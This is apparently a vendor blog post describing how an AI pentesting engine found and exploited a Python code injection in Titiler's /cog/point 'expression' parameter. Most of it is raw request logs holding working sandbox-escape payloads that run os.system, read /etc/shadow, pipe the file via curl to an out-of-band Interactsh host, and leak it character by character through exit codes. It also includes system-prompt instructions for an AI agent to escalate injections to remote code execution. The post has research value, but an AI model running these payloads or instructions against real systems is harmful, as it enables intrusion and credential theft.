Thu 04 September 2025
Traditional vulnerability exploitation can consume days or even weeks of manual testing before achieving successful exploitation. Witnessing these same bugs being exploited within minutes by specialized AI systems is deeply disconcerting, particularly when these systems demonstrate different exploitation techniques with each execution.
Xbow's AI testing engine recently identified a Python code execution vulnerability in Titiler, an open-source application. This code injection stands out for its complexity, it's far from a straightforward execution vulnerability and requires highly customized payloads to exploit successfully.
What makes this discovery particularly intriguing is the narrow margin of detection. Upon closer analysis, the vulnerability was identified thanks to the presence of a single, sophisticated payload among hundreds tested. Without this specific payload in the testing arsenal, the vulnerability would likely have remained undetected.
Below, we demonstrate how the same vulnerability can be discovered through a fundamentally different approach—one that methodically constructs the exploit payload piece by piece, ultimately revealing unexpected exploitation vectors.
Transitioning from "getting on specific payload" to achieving systematic detection with iterative learning required extensive refinement of system prompts and significant improvements to our context engineering architecture.
The systematic approach unfolds in distinct phases:
Phase 1: Initial Probing
First, test for common, direct injection vulnerabilities with these specific payloads to understand how the server processes your input.
-
Detect Input Parsing and Reflection:
-
Payload:
a'"<>&z
-
Why: To see how special characters are handled. Are they reflected as-is, HTML-encoded, or removed? This helps understand the context (e.g., HTML, JSON).
-
Detect Type Constraints and Error Handling:
-
Payload: If a parameter expects a number (e.g.,
id=123
), send a string (id=abc
). -
Why: A
TypeError
or similar error reveals that the server is processing the input and may give clues about the backend language and frameworks. -
Detect Code Evaluation (Mathematical):
-
Payloads for SSTI:
{{7*7}}
,${7*7}
,#{7*7}
- Why: If the server responds with
49
, it confirms a template engine is evaluating the input. This is a strong indicator of SSTI. - Payload for direct evaluation:
1/0
-
Why: This may trigger a
ZeroDivisionError
, confirming that raw expressions are being evaluated. This is a key step in identifying an oracle. -
Attempt Direct RCE:
-
Payload:
__import__('os').system('id')
- Why: This is the ultimate goal. If this works, you have found a critical vulnerability.
If these initial probes reveal a vulnerability, report it with the payload and the evidence. If they are blocked or inconclusive, use the information gathered to proceed to the core methodology below.
If a probe is successfully, second phase is attempting iterative payload construction
Phase 2: The Core Methodology - Iterative Payload Construction
This is your primary method for finding and exploiting complex Python injection vulnerabilities. When simple payloads fail, you will use server responses (especially errors) as an oracle to build a working payload piece by piece.
The Underlying Principle (Why This Works): Even in heavily sandboxed Python environments where globals
and __builtins__
are restricted (like eval(code, {'__builtins__':{}})
), a critical escape hatch often remains: access to the object hierarchy. By starting with a simple, harmless object (like an empty string ''
or tuple ()
), you can get its class, walk up the inheritance tree to the base <class 'object'>
, and then use its __subclasses__()
method. This gives you a list of every class loaded in the application's memory, effectively providing a map to powerful, built-in modules and functions that can be used to achieve full sandbox escape and RCE. The following steps implement this exact technique.
Step 1: Identify the Oracle (Your Feedback Mechanism)
- Action: You must first find a way to get detailed feedback from the server. An error message is the perfect oracle.
- Payloads:
{{ invalid_syntax' }}
,{{ 1/0 }}
- Goal: Trigger a predictable error (e.g., a 500 Internal Server Error with a stack trace).
- Instruction: Once you find it, clearly state what the oracle is. For example: "The oracle is the Jinja2 traceback in the HTTP response."
Step 2: Build the Payload Incrementally from a Working Base
-
You MUST build your payload step-by-step, starting from a known-good foundation. Do not proceed to the next step until you have confirmed the current one works. Each step builds upon the last successful one. If a step fails, you must analyze the error and adapt your approach before continuing.
-
Establish a Working Base: Find a simple expression that the server evaluates without error. This is your foundation.
- Increment 1: Access its Class: From your working base, access an attribute.
- Increment 2: Access the Base
object
Class: - Increment 3: Find All Subclasses:
- Increment 4: Find a Useful Subclass for RCE: Filter the subclasses to find one in a useful module like
os
. - Increment 5: Access the Module's Global Variables:
- Final Step: Execute a Command:
Without a properly structured system prompt and with correct context, our experience is that the engine fails to confirm the issue. Also passing too many tools leads to deterioration of detection quality. Below is how the Engine performs.
Send a request with a benign mathematical operation in the 'expression' parameter to validate if it is being evaluated by a Python interpreter. The objective is to observe if the server's response contains the calculated result (e.g., '49') instead of the original string (e.g., '7*7'), which would confirm code evaluation.
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:
> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https...<omitted>...: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'shape'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'any'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'NoneType' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not iterable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'tobytes'"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'array'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:
> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'mean'"}
> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'dict'>"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}
We have intentionally preserved all requests in their original form to demonstrate how the engine iteratively refined its approach based on the responses received.
This case study validates an emerging concept we've adopted: treating LLMs as runtime environments where system prompts function as executable code.
Consider this illustrative example:
Approach 1: Direct Computation
- System Prompt: "You are a world-class mathematics expert"
- Result: The LLM attempts to compute mathematical operations internally, potentially introducing calculation errors
Approach 2: Code Generation and Execution
- System Prompt: "Convert mathematical problems to Python code, execute via tools, and return verified results"
- Result: The LLM generates deterministic code, executes it through external tools, and returns accurate, reproducible results
This fundamental difference in prompt engineering demonstrates that how you instruct an agent to perform a task has profound implications for the quality and reliability of the output.
Applying this methodology to our vulnerability detection scenario, the engine successfully confirmed the presence of the vulnerability on its first systematic attempt—a stark contrast to traditional fuzzing approaches that might require thousands of iterations.
Vulnerability Found: Blind Python Code Injection
Vulnerability Summary
A blind Python code injection vulnerability was identified in the 'expression' parameter of the '/cog/point' endpoint. The server evaluates the provided expression but does not return the command's output in the HTTP response. Instead, the exit code of the executed command is returned, which is '0' for a successful execution. This confirms that the command was executed, but the results must be exfiltrated using an out-of-band method.
Proof of Concept
The vulnerability was confirmed by sending the following payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
The server responded with a 200 OK status and {"values":[0.0]}
, where 0.0
is the exit code of the os.system
call, proving execution.
Evidence of Exploitation
To exfiltrate the /etc/shadow
file, I will use an Interactsh URL to capture the output from a curl command.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Reproduction Steps
- Start an Interactsh session to get a unique URL.
- URL-encode the exfiltration payload with the Interactsh URL.
- Send a GET request to the vulnerable endpoint with the encoded payload in the 'expression' parameter.
- Check the Interactsh session for an incoming POST request. The body of this request will contain the contents of the /etc/shadow file.
Vulnerability Confirmation
:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload
:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Next step is to exploit:
Execute the out-of-band exfiltration payload to send the contents of the /etc/shadow file to a controlled external server. The goal is to confirm that the vulnerability can be exploited to steal sensitive data by verifying that the file's contents are received on the listening server.
Vulnerability Found: Blind Python Code Injection
Vulnerability Summary
A blind Python code injection vulnerability was identified in the 'expression' parameter of the '/cog/point' endpoint. The server evaluates the provided expression but does not return the command's output in the HTTP response. Instead, the exit code of the executed command is returned, which is '0' for a successful execution. This confirms that the command was executed, but the results must be exfiltrated using an out-of-band method.
Proof of Concept
The vulnerability was confirmed by sending the following payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
The server responded with a 200 OK status and {"values":[0.0]}
, where 0.0
is the exit code of the os.system
call, proving execution.
Exfiltration Blocked by Tool Failure
To exfiltrate the /etc/shadow
file, an out-of-band (OOB) method is required. The intended method was to use an Interactsh URL to capture the output from a curl command. However, the start_interactsh_session
tool is consistently failing to initialize, preventing the generation of a URL for data exfiltration.
Intended Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Due to the inability to generate an Interactsh URL, the final step of exfiltrating the /etc/shadow
file could not be completed. The vulnerability is confirmed, but exploitation is currently blocked by a toolchain issue.
Execute the out-of-band exfiltration payload to send the contents of the /etc/shadow file to a controlled external server. The goal is to confirm that the vulnerability can be exploited to steal sensitive data by verifying that the file's contents are received on the listening server.
Vulnerability Found: Blind Python Code Injection
Vulnerability Summary
A blind Python code injection vulnerability was identified in the 'expression' parameter of the '/cog/point' endpoint. The server evaluates the provided expression but does not return the command's output in the HTTP response. Instead, the exit code of the executed command is returned, which is '0' for a successful execution. This confirms that the command was executed, but the results must be exfiltrated using an out-of-band method.
Proof of Concept
The vulnerability was confirmed by sending the following payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
The server responded with a 200 OK status and {"values":[0.0]}
, where 0.0
is the exit code of the os.system
call, proving execution.
Evidence of Exploitation
To exfiltrate the /etc/shadow
file, I will use an Interactsh URL to capture the output from a curl command.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Reproduction Steps
- Start an Interactsh session to get a unique URL.
- URL-encode the exfiltration payload with the Interactsh URL.
- Send a GET request to the vulnerable endpoint with the encoded payload in the 'expression' parameter.
- Check the Interactsh session for an incoming POST request. The body of this request will contain the contents of the /etc/shadow file.
Vulnerability Confirmation
:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload
:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Craft a Python payload to read the first character of the `/etc/shadow` file and return its ASCII value as the command's exit code. The goal is to verify that the application's response reflects this exit code, confirming the viability of an exit-code-based data exfiltration channel, as the out-of-band method failed.
Vulnerability Found: Blind Python Code Injection with Data Exfiltration via Exit Codes
Vulnerability Summary
A blind Python code injection vulnerability was identified and exploited in the 'expression' parameter of the '/cog/point' endpoint. The server evaluates the provided expression and, while it does not return the direct output of commands, the exit code of the executed command is returned within the JSON response. This behavior was leveraged to exfiltrate the contents of the /etc/shadow
file character by character.
Proof of Concept
The exfiltration was achieved by sending a series of payloads, each designed to read one character from the /etc/shadow
file, convert it to its ASCII value, and use that value as the exit code for the command.
Example Payload to get the first character's ASCII value:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")
Evidence of Exploitation
The entire content of the /etc/shadow
file was successfully exfiltrated and is attached as an artifact.
Reproduction Steps
